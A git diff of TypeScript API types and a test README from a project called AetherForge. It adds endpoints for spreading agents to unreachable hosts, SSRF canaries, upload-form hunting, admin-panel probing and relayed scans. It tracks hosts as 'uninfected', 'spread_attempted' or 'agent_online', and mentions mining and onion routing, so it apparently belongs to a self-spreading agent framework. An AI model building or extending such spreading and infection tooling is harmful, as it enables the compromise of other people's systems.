discover_and_join toward unreachable IP. */ +/** POST /api/v1/fleet/spread-to-host - seed discover_and_join toward unreachable IP. */ export interface FleetSpreadToHostRequest { host: string; finding?: string; @@ -107,7 +107,9 @@ export interface FleetSpreadToHostResponse { crucible_link?: string; } -/** POST /api/v1/recon/scan — owned-target browser deploy recon. */ +/** POST /api/v1/recon/scan - owned-target browser deploy recon. */ + +export type ReconScanProfile = 'quick' | 'deep' | 'ssrf_only'; export interface ReconScanRequest { host: string; @@ -116,6 +118,7 @@ export interface ReconScanRequest { paths?: string[]; profile?: string; profiles?: string[]; + ssrf_canary?: boolean; } export interface ReconPortResult { @@ -154,12 +157,53 @@ export interface ReconURLFieldFinding { hint: string; } +export interface ReconFormFieldFingerprint { + page_url: string; + name: string; + id?: string; + placeholder?: string; + score: number; + matches?: string[]; + paste_target?: string; +} + +export interface ReconUploadHunterFinding { + page_url: string; + target?: string; + source: string; + method?: string; + tags?: string[]; + score: number; + status_code?: number; +} + +export interface ReconAdminSurfaceFinding { + path: string; + url: string; + status_code: number; + signal: string; +} + +export interface ReconSsrfCanaryInfo { + scan_id: string; + url: string; + status: string; + paste_target: string; + paste_field_name?: string; + paste_field_id?: string; + hit_at?: string; +} + +export type ReconSsrfCanaryStatus = ReconSsrfCanaryInfo; + export interface ReconCrawlReport { pages_fetched: number; pages?: { url: string; status_code: number; title?: string }[]; file_inputs?: ReconFormFinding[]; multipart_forms?: ReconFormFinding[]; url_fields?: ReconURLFieldFinding[]; + fingerprint_fields?: ReconFormFieldFingerprint[]; + upload_hunter?: ReconUploadHunterFinding[]; ssrf_score: number; cms_fingerprints?: string[]; stack?: ReconStackEntry[]; @@ -184,6 +228,8 @@ export interface ReconScanReport { stack?: ReconStackEntry[]; deploy_kit_lane?: string; crawl?: ReconCrawlReport; + admin_surface?: ReconAdminSurfaceFinding[]; + canary?: ReconSsrfCanaryInfo; relay_via?: string; udp_hints?: { port: number; open: boolean; service?: string }[]; path_tracer_hints?: string[]; @@ -204,7 +250,39 @@ export interface ReconWebFindingCard { mermaid?: string; } -/** GET /api/v1/recon/discovered-hosts — agent subnet recon store. */ +export interface ReconScanDiff { + new_ports?: number[]; + new_forms?: ReconFormFinding[]; +} + +export interface ReconHistoryEntry { + scan_id: string; + host: string; + profile?: string; + status?: string; + scanned_at: string; + report: ReconScanReport; + diff?: ReconScanDiff; +} + +export interface ReconHistoryResponse { + entries: ReconHistoryEntry[]; +} + +export interface ReconRelayScanRequest { + host: string; + udp_guess?: boolean; +} + +export interface ReconRelayScanResponse { + ok: boolean; + agent_id?: string; + agent_name?: string; + error?: string; + report?: ReconScanReport; +} + +/** GET /api/v1/recon/discovered-hosts - agent subnet recon store. */ export type DiscoveredHostStatus = 'uninfected' | 'spread_attempted' | 'agent_online'; export interface DiscoveredHost { diff --git a/tests/README.md b/tests/README.md index 8f80590..f2c0cf8 100644 --- a/tests/README.md +++ b/tests/README.md @@ -1,6 +1,6 @@ # AetherForge Test Suite -**Current counts (2026-06-07):** Go server **1001** `Test*` · Go agent **680** `Test*` · Vitest **867** tests in **113** files · Playwright **32** tests in **10** spec files. Refresh: `go test ./... -list .` (server/agent), `npm run test -- --run` (Vitest), `npx playwright test --list` (E2E). Full suite: `test.bat` → `scripts/test-suite.ps1`. +**Current counts (2026-06-07):** Go server **1007** `Test*` · Go agent **680** `Test*` · Vitest **867** tests in **113** files · Playwright **32** tests in **10** spec files. Refresh: `go test ./... -list .` (server/agent), `npm run test -- --run` (Vitest), `npx playwright test --list` (E2E). Full suite: `test.bat` → `scripts/test-suite.ps1`. ## Master validation (operator commands) @@ -17,7 +17,7 @@ After parallel agent landings, run from repo root: | **P2 focused** | `.\scripts\test-suite.ps1 -P2` | Mining/spread/path-forge/WS subset + Vitest; add phase 8 manually for onion + discover E2E | | **Fleet recon** | `.\scripts\test-suite.ps1 -ReconOnly` | Vuln/CVE, cred graph, triple-onion gates, Path Tracer discover, recon Vitest | | **Deploy Recon** | `.\scripts\test-suite.ps1 -Recon` | `internal/recon`, recon API + deploy-kit, Deploy Recon Vitest + `deploy-recon.spec.ts` E2E (unless `-SkipE2E`) | -| **Subnet recon** | `.\scripts\test-suite.ps1 -SubnetRecon` | Agent subnet_recon packages + `fleetDiscoveries` Vitest | +| **Subnet recon** | `.\scripts\test-suite.ps1 -SubnetRecon` | Agent subnet_recon packages; server `go test ./internal/api/... ./internal/db/... -run Subnet`; `fleetDiscoveries` Vitest | Feature slices (single-feature regression after parallel agent landings; each exits after its phase):